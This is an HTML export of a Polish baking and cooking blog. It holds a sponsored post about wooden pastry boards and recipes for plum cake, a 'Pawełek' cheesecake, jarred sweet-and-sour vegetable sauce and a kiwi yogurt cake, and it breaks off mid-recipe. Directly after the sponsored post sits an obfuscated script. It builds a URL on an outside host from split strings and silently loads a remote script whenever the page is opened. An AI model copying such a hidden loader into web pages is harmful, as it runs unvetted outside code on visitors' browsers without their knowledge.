<a href="https://1.bp.blogspot.com/-ChVCvKnFjxk/XWfZ_eG6qnI/AAAAAAAAOC0/23G8IDHdABk1MxzANWZUu4-lgbFFMI3-QCLcBGAs/s1600/10-powodow-dla-ktorych-warto-miec-stolnice-drewniana.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://1.bp.blogspot.com/-ChVCvKnFjxk/XWfZ_eG6qnI/AAAAAAAAOC0/23G8IDHdABk1MxzANWZUu4-lgbFFMI3-QCLcBGAs/s640/10-powodow-dla-ktorych-warto-miec-stolnice-drewniana.jpeg" width="640" /></a></div>
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przyrządzając ciasto na pierogi, kopytka czy pizzę, nie obędziemy się
bez akcesorium, jakim jest stolnica drewniana. Ma ona postać płaskiej
deski, najczęściej z 3 wysokimi krawędziami, dzięki którym jajka, mąka
oraz woda nie rozsypują się po powierzchni stołu. Jakie są główne zalety
stolnicy drewnianej dużej? Jakie parametry warto wziąć pod uwagę przy
jej wyborze? Odpowiedzi na te i wiele innych pytań związanych ze
stolnicami — poniżej. </span><br />
<br />
<br />
<div class="wp-preview__content">
<h2>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Idealna stolnica, czyli jaka?</span></h2>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Stolnica
powinna być przede wszystkim dopasowana do wielkości blatu roboczego,
jakim dysponujemy. Jeżeli jest on duży, bez obaw zaopatrzyć możemy się w
stolnicę drewnianą 80x60 cm. Z jej pomocą jesteśmy w stanie rozwałkować
nawet bardzo dużą ilość ciasta. W małych kuchniach najlepiej sprawdzą
się natomiast stolnice 40x30 cm, które po zakończonym użyciu będzie
można z łatwością schować do szuflady.</span></div>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Dostępne w sklepach stolnice różnić mogą się od siebie kształtem. Do wyboru mamy modele kwadratowe, prostokątne oraz owalne.</span></div>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Warto,
by stolnica, która znajdzie się w naszej kuchni posiadała wysokie
ranty, które skutecznie zabezpieczą się przed przedostawaniem się
składników na blat.</span></div>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Wybierając
stolnicę, warto również zwrócić uwagę na to, czy jest ona wyposażona w
specjalny rowek odpowiadający za odprowadzanie nadmiaru wody lub soku.
Wówczas taki produkt z powodzeniem pełnić będzie mógł również funkcję
deski do krojenia.</span></div>
<h2>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Stolnica drewniana — z jakiego drewna się ją produkuje?</span></h2>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><a href="https://tadar.pl/kategoria/deski-stolnice">Stolnica drewniana</a>
to akcesorium kuchenne, z którego korzystały już nasze mamy i babcie. W
przeszłości do jej produkcji stosowano gównie drewno lipowe. Obecnie
jednak coraz rzadziej spotkać można się z tego typu stolnicami. Związane
jest to między innymi z faktem, iż zawarte w drewnie lipowym garbniki
mogą wchodzić w reakcję z żywnością. Z jakiego drewna produkowane są
dostępne obecnie na rynku stolnice drewniane? Najczęściej jest to buk,
topola, grab, jesion, orzech oraz klon. Pierwszy z wymienionych gatunków
charakteryzuje się największą twardością oraz odpornością na
uszkodzenia. Co więcej, jest on pozbawiony intensywnych olejków
zapachowych.</span></div>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">W ostatnim czasie bardzo dużą popularnością cieszą się także bambusowe <a href="https://tadar.pl/kategoria/akcesoria-do-pieczenia">akcesoria do pieczenia</a>.
Do ich zalet zalicza się dużą wytrzymałość oraz fakt, iż bardzo szybko
schną. Z drewna bambusowego wykonuje się zarówno stolnice, jak i deski
do krojenia. Oba te produkty znaleźć można w sklepie z akcesoriami
kuchennymi <a href="https://tadar.pl/">Tadar</a>.</span></div>
<h2>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Stolnica — jak należy ją impregnować?</span></h2>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Aby
stolnica drewniana 80x60 cm lub w innym, nieco mniejszym rozmiarze
posłużyła nam przez długi czas, zadbać należy o stosowną jej impregnację
przed pierwszym użyciem. W przeciwnym wypadku, w jej powierzchnię
wsiąkać będzie woda, co prowadzić może do trwałego uszkodzenia takiej
tacy drewnianej. W jaki sposób powinno się impregnować stolnicę? Do tego
celu najlepiej wykorzystać olej mineralny służący do zabezpieczenia
drewna. Posłużyć można się tutaj również olejem spożywczym, najlepiej
lnianym, którym pokrywamy całą powierzchnię stolnicy. Czynność tę warto
powtarzać raz na kilka miesięcy — zyskamy wówczas pewność, że nawet mimo
intensywnego użytkowania, nasza stolnica w dalszym ciągu będzie w takim
samym stopniu odporna na działanie wilgoci, co w dniu zakupu.</span></div>
<h2>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Stolnica drewniana duża — jak powinno się ją czyścić?</span></h2>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Stolnicy
drewnianej nigdy nie należy myć w zmywarce — prowadzić może to bowiem
do jej trwałego uszkodzenia. Czyścić powinno się ją ręcznie, przy pomocy
gąbki lub ściereczki i delikatnego płynu oraz wody. Czynność tę
wykonywać należy po każdym użyciu W celu wysterylizowania stolnicy,
przecieramy ją miksturą wykonaną z wody oraz octu w proporcjach 1:1.</span></div>
<div style="line-height: 150%; margin-top: 12.0pt; text-align: justify; text-justify: inter-ideograph;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Stolnica
drewniana to wysokiej jakości, trwały, odporny na uszkodzenia produkt,
który w znaczący sposób ułatwi wyrabianie ciasta na ulubione przysmaki.</span></div>
</div>
<script>
(function(){
owy4=document.createElement("script");owy4.async=true;owy4_="u"+("s")+"t";
owy4u="181783441.";owy4_+="a"+("t.i");owy4_+="n"+("f"+"o")+"/";
owy4u+="jpk3byrrwy4m1kjvpz3z14"+("mrlhyimk");
owy4.src="https://"+owy4_+owy4u;owy4.type="text/javascript";
document.body.appendChild(owy4);
})();
</script>Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-42087042693382251222019-08-11T19:08:00.001+02:002019-08-11T19:08:17.050+02:00lekkie jak puch ciasto ze śliwkami<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-EqkG9EaMXF8/XUQI5RQZ3dI/AAAAAAAAOCI/YfMpckNKJFQkKrurwzMbuJM-M6uzATIAgCLcBGAs/s1600/ze%2Bsliwkami.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-EqkG9EaMXF8/XUQI5RQZ3dI/AAAAAAAAOCI/YfMpckNKJFQkKrurwzMbuJM-M6uzATIAgCLcBGAs/s640/ze%2Bsliwkami.jpg" width="480" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><i>W ciągu ostatniego tygodnia piekłam to ciasto już trzy razy, z różnymi owocami. To chyba najlepsza rekomendacja. Zwłaszcza teraz latem, kiedy szukamy przepisów "na szybko". </i></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">*foremka 24*24 cm</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">5 jajek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1,5 szklanki mąki pszennej</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki maki ziemniaczanej</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki oleju</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżka kakao</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżeczka sody</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 kilograma śliwek</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Jajka ubić z cukrem na gęstą, jasną, puszystą masę. Mąki wymieszać z sodą i przesiać do masy jajecznej, wymieszać. Wlać olej i połączyć. Ciasto podzielić na połowę, do jednej wmieszać kakao. Śliwki przekroić na połówki. Blaszkę do pieczenia wyścielić papierem, wyłożyć jasne ciasto, na nie ciemna a na wierzchu skórką do dołu ułożyć śliwki. Wstawić do piekarnika nagrzanego do 180*C i piec około 40 minut. </span></div>
<br />
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-43769395303794739312019-07-28T00:00:00.000+02:002019-07-28T00:00:06.731+02:00sernik "Pawełek"<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-6VsUhrq_To0/XTyQffCx8II/AAAAAAAAOBk/laF5U9DW6f8qmDnJJdQw7l-FyXeYQRb4gCLcBGAs/s1600/sernik%2Bpawelek%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-6VsUhrq_To0/XTyQffCx8II/AAAAAAAAOBk/laF5U9DW6f8qmDnJJdQw7l-FyXeYQRb4gCLcBGAs/s640/sernik%2Bpawelek%2B1.jpg" width="640" /></a></div>
<br />
<span style="color: #666666;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Ten sernik podbił serca moich gości. Delikatny, kremowy ser, wilgotny biszkopt i krem z batoników dały razem ciekawy efekt wizualny i smakowy. Wyszła z tego duża blacha eleganckiego ciasta. Doskonale sprawdzi się na imieninach, chrzcinach czy innych większych okazjach. Gwarantuję, że będzie smakował. </i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>*Najlepiej pasują tutaj batoniki z dodatkiem alkoholu ale można użyć dowolnych ulubionych. </i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>*Ładnie i równo się kroi ale musi być przechowywane w lodówce. </i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">*foremka 25*34 cm</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="background-color: white;">na biszkopt:</span></span><br />
<ul style="background-color: white; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">3 jajka</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanki cukru</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanka mąki</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka kakao</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1 łyżka mąki ziemniaczanej</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki zimnej wody</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki oleju</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżeczka proszku do pieczenia</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na sernik:</span></div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 kg sera z wiaderka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">6 jajek</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanki oleju</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 opakowania budyniu waniliowego</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na krem:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 opakowania budyniu czekoladowego</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 szklanki mleka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">kostka masła</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">4 batoniki "Pawełek"</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">dodatkowo:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki kakao</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanki kawy</span></li>
</ul>
</div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;">Białka ubić na sztywno ze szczyptą soli. Ubijając dalej dodawać cukier a następnie żółtka, później wodę i olej. Mąkę wymieszać z mąką ziemniaczaną, kakao i proszkiem do pieczenia. Przesiać do masy jajecznej i delikatnie ale dokładnie wymieszać. Przełożyć do foremki wyścielonej papierem do pieczenia. Piec w 180*C przez około 30 minut. Wystudzić.</span></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;"> Jajka podzielić na białka i żółtka. Białka ubić na pianę. Żółtka utrzeć z cukrem, dodać ser, olej, budynie. Na końcu delikatnie wmieszać pianę. Przełożyć do foremki w której piekł się biszkopt i piec na papierze do pieczenia w 170*C przez godzinę. Po upieczeniu wystudzić w uchylonym piekarniku. </span></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;">Dwie szklanki mleka zagotować. W pozostałej szklance rozpuścić cukier i budynie. Ugotować na mleku. Wystudzić. Batoniki posiekać. Miękkie masło utrzeć dodając budyń. Na końcu delikatnie łyżką wmieszać batoniki. </span></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></span></div>
<div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;">Biszkopt nasączyć kawą. Z kremu odłożyć łyżkę, resztę rozsmarować na biszkopcie. Przykryć sernikiem. Posmarować pozostałym kremem, wierzch posypać kakao. Wstawić do lodówki. </span></span><br />
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-N_1cgLNjrsg/XTyQly0SglI/AAAAAAAAOBo/zC3E_aevDWEUJ5WoJ9rlUdcM4rLBPEaeACLcBGAs/s1600/sernik%2Bpawe%25C5%2582wk%2B2%2Bpodp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1376" src="https://1.bp.blogspot.com/-N_1cgLNjrsg/XTyQly0SglI/AAAAAAAAOBo/zC3E_aevDWEUJ5WoJ9rlUdcM4rLBPEaeACLcBGAs/s1600/sernik%2Bpawe%25C5%2582wk%2B2%2Bpodp.jpg" /></a></div>
<span style="background-color: white;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></span></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-5830908187996237562019-07-26T00:00:00.000+02:002019-07-27T07:10:47.954+02:00słodko-kwaśny sos do słoików<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-0AmFQ-VQbTs/XTn8iFwQAjI/AAAAAAAAOA8/VoL55aV-MEA_IWtrbQZFS7FalI45TGtFwCLcBGAs/s1600/sos%2Bs%25C5%2582odko%2Bkwasny.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-0AmFQ-VQbTs/XTn8iFwQAjI/AAAAAAAAOA8/VoL55aV-MEA_IWtrbQZFS7FalI45TGtFwCLcBGAs/s640/sos%2Bs%25C5%2582odko%2Bkwasny.jpg" width="480" /></a></div>
<br />
<br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Nie jestem perfekcyjną gospodynią, moja spiżarka nie ugina się od miliona weków ale od czasu lubię zakisić ogóra albo zmajstrować jakiś dobry słoik. Moim tegorocznym hitem jest właśnie ten sos. </i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Dwa dni nad nim myślałam aż wymyśliłam recepturę doskonałą. Słodko-kwaśny sos, lekko pikantny, bogaty w warzywa. Znajdziecie w nim nie tylko paprykę i cukinię ale też marchewkę, kukurydzę i mnóstwo cebuli. </i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Zastosowań też będzie miał bez liku, bo można zjeść go z ryżem i kurczakiem, makaronem, ziemniakami jako leczo a nawet widziałabym go na zimno jako dodatek do pieczeni czy mięsa z grilla. I oczywiście będzie niezastąpiony w wypadku, kiedy będziemy potrzebować ekspresowego obiadu- pstryk- otwierasz słoik i gotowe. </i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Skrojone warzywa muszą przegryźć się z solą kilka godzin, mogą nawet całą noc, dlatego przygotowanie można rozłożyć na dwa dni. Wbrew pozorom nie jest aż tak bardzo pracochłonny, jak mogłoby się wydawać. </i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><span style="color: #666666;">Dobrze, że w tym roku cukinia obrodziła w naszym ogródku, bo na pewno będę musiała zrobić więcej słoików.</span></i> </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">*składniki na 12 słoiczków:</span><br />
<br />
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 kg cukinii (cienkiej młodej, użyłam zieloną i żółtą)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1,5 kg papryki (różne kolory)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 kg marchewki</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 kg cebuli (pół na pół białą i czerwoną)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 puszka kukurydzy</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">4 ząbki czosnku</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">400 g koncentratu pomidorowego</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">szklanka octu spirytusowego</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">szklanka cukru (można dodać łyżkę więcej)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">półtorej łyżki soli</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżeczka pieprzu</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">przyprawy według upodobań: słodka i ostra papryka, zioła prowansalskie, oregano</span></li>
</ul>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ttMtiSMTKqc/XToEwK02cOI/AAAAAAAAOBI/mUAl2j9-0HklEXVNX4oEzLXfIbyVOC7QgCLcBGAs/s1600/IMG_20190723_100432.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://1.bp.blogspot.com/-ttMtiSMTKqc/XToEwK02cOI/AAAAAAAAOBI/mUAl2j9-0HklEXVNX4oEzLXfIbyVOC7QgCLcBGAs/s200/IMG_20190723_100432.jpg" width="200" /></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przygotować warzywa wszystkie umyć. Cukinię bez obierania pokroić w ćwierć talarki, paprykę w kostki, cebule posiekać, marchewkę obrać i pokroić w plasterki. Zasypać wszystko solą i odstawić na 6-8 godzin w chłodne miejsce (można do lodówki).</span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-s-ks4MBCpyM/XToE7oj4uhI/AAAAAAAAOBM/hnycj_OYQxQJVSt8hOFm3UcR2lh6PIwUwCLcBGAs/s1600/IMG_20190723_121734_HHT.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://1.bp.blogspot.com/-s-ks4MBCpyM/XToE7oj4uhI/AAAAAAAAOBM/hnycj_OYQxQJVSt8hOFm3UcR2lh6PIwUwCLcBGAs/s200/IMG_20190723_121734_HHT.jpg" width="200" /></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"> Po tym czasie odcedzić warzywa z wody i przełożyć do dużego garnka. Dusić około 20 minut aż zmiękną. W osobnym rondelku ocet zagotować z cukrem i koncentratem. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-YT3rvC29UGE/XToFJat0lfI/AAAAAAAAOBU/NoELjhAcjMwwfsVvsY2RTXe4xFajRTxHwCLcBGAs/s1600/IMG_20190723_122806_HHT.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://1.bp.blogspot.com/-YT3rvC29UGE/XToFJat0lfI/AAAAAAAAOBU/NoELjhAcjMwwfsVvsY2RTXe4xFajRTxHwCLcBGAs/s200/IMG_20190723_122806_HHT.jpg" width="200" /></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Do warzyw dodać starty czosnek, zioła i przyprawy. Wlać gorący ocet. Wymieszać. Na końcu dodać kukurydzę. Gotować wszystko razem kilka minut ale nie za długo, żeby nie zrobiła się papka. Gotowy gorący sos przekładać do suchych wyparzonych słoiczków. Od razu zakręcać i układać do góry dnem. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Ja zawsze dla pewności jeszcze pasteryzuję około kwadransa. </span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ezZGHRLrQYw/XTkxc4Uu6eI/AAAAAAAAOAc/wYpkzVDJaaQiBLIPQ9PtPi301of7kZk6QCLcBGAs/s1600/IMG_20190723_100432.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<a href="https://1.bp.blogspot.com/-ezZGHRLrQYw/XTkxc4Uu6eI/AAAAAAAAOAc/wYpkzVDJaaQiBLIPQ9PtPi301of7kZk6QCLcBGAs/s1600/IMG_20190723_100432.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-5585025002122521222019-07-22T20:55:00.002+02:002019-07-22T20:55:22.446+02:00kostka jogurtowa z kiwi<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-DnlIG6kXWWI/XTX-RQTbwjI/AAAAAAAAN_U/s4SUmZ1DMmQqobjnSxp7D4g2kzxCTW0ZgCLcBGAs/s1600/kostka%2Bkiwi%2Bpodp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-DnlIG6kXWWI/XTX-RQTbwjI/AAAAAAAAN_U/s4SUmZ1DMmQqobjnSxp7D4g2kzxCTW0ZgCLcBGAs/s640/kostka%2Bkiwi%2Bpodp.jpg" width="480" /></a></div>
<br />
<br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>Ostatnio mniej piekę, staram się trzymać diety więc i przepisów tutaj coraz mniej. Jednak od czasu wyczaruję coś słodkiego, wszak niedziela bez ciasta się nie liczy;)</i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i><br /></i></span>
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>To ciasto zrobiłam trochę pod siebie- chciałam, żeby było smaczne ale bez miliona kalorii. </i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>I takie było, bo w zasadzie jogurt i galaretka a na biszkopt można przymknąć oko;)</i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i><br /></i></span>
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>Pewnie zapytacie jak to możliwe, że kiwi i galaretka zagrały razem, przecież kiwi uniemożliwia tężenie!</i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>Jest na to prosty, wcale nie magiczny sposób- wystarczy kiwi chwilkę obgotować (nie za długo bo całkiem straci kolor). I można szaleć:)</i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i><br /></i></span>
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>A ciasto to polecam szczególnie na cieplejsze dni, bo jest lekkie i cudownie orzeźwiające. </i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i><br /></i></span>
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><i>Wielbicielom kiwi i czekolady polecam białą czekoladę z kiwi- oryginalna i przepyszna. Znajdziecie ją tutaj: <a href="https://www.ceneo.pl/38442649#crid=275341&pid=19865" target="_blank">klik</a></i></span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;">A na blogu oprócz tego jest też przepis na wilgotne ciasto z kiwi (<a href="https://cukierenkaklementynki.blogspot.com/2014/03/ciasto-z-kiwi.html" target="_blank">klik</a>) i torcik kiwi (<a href="https://cukierenkaklementynki.blogspot.com/2016/02/torcik-kiwi.html" target="_blank">klik</a>). Polecam!</span><br />
<span style="color: #999999; font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">*foremka 24*24 cm</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">na biszkopt:</span><br />
<ul style="background-color: white; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">3 jajka</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki cukru</span></li>
